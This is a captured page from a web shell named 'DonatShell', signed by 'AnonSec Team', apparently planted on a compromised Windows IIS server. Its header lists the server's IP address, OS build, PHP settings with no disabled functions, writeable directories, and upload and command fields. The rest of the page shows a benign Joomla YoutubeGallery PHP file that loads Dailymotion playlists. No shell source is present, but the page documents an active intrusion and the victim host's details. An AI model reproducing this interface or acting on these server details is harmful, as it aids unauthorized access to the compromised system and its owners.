DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_youtubegallery/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_youtubegallery/includes/dailymotionplaylist.php
<?php
/**
 * YoutubeGallery
 * @version 3.8.3
 * @author DesignCompass corp< <support@joomlaboat.com>
 * @link http://www.joomlaboat.com
 * @GNU General Public License
 **/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

if(!defined('DS'))
	define('DS',DIRECTORY_SEPARATOR);

require_once(JPATH_SITE.DS.'components'.DS.'com_youtubegallery'.DS.'includes'.DS.'misc.php');

class VideoSource_DailymotionPlaylist
{
	public static function extractDailymotionPlayListID($URL)
	{
		//http://www.dailymotion.com/playlist/x1crql_BigCatRescue_funny-action-big-cats/1#video=x7k9rx
		//$arr=YouTubeGalleryMisc::parse_query($URL);
		$p=explode('/',$URL);
                
		//$p=$arr['list'];
		
		if(count($p)<4)
			return '';
		
                $p2=explode('_',$p[4]);
		if(count($p2)<1)
			return ''; //incorrect playlist ID
		 
	    return $p2[0]; //return without everything after _
	}
	
	public static function getVideoIDList($URL,$optionalparameters,&$playlistid,&$datalink)
	{
                //https://api.dailymotion.com/playlist/xy4h8/videos
		
		$videolist=array();
		
		$playlistid=VideoSource_DailymotionPlaylist::extractDailymotionPlayListID($URL);
		if($playlistid=='')
			return $videolist; //playlist id not found
                    
                    
		$apiurl = 'https://api.dailymotion.com/playlist/'.$playlistid.'/videos';
		$datalink=$apiurl;
                
		$htmlcode=YouTubeGalleryMisc::getURLData($apiurl);
		
		if($htmlcode=='')
			return $videolist;

                

		if(!isset($htmlcode) or $htmlcode=='' or $htmlcode[0]!='{')
		{
			return 'Cannot load data, no connection or access denied';
		}
		$streamData = json_decode($htmlcode);


		foreach ($streamData->list as $entry)
		{
                    $videolist[] = 'http://www.dailymotion.com/playlist/'.$entry->id;
                    //http://www.dailymotion.com/playlist/x1crql_BigCatRescue_funny-action-big-cats/1#video=x986zk

				//$media = $entry->children('http://search.yahoo.com/mrss/');
				//$link = $media->group->player->attributes();
				//if(isset($link))
				//{
				//	if(isset($link['url']))
				//	{
				///		$videolist[] = $link['url'];
				//	}
				//}//if(isset($link)
		}//foreach ($xml->entry as $entry)
		
		
		return $videolist;
            
            
		
	}
	
	


}


?>

Anon7 - 2022
AnonSec Team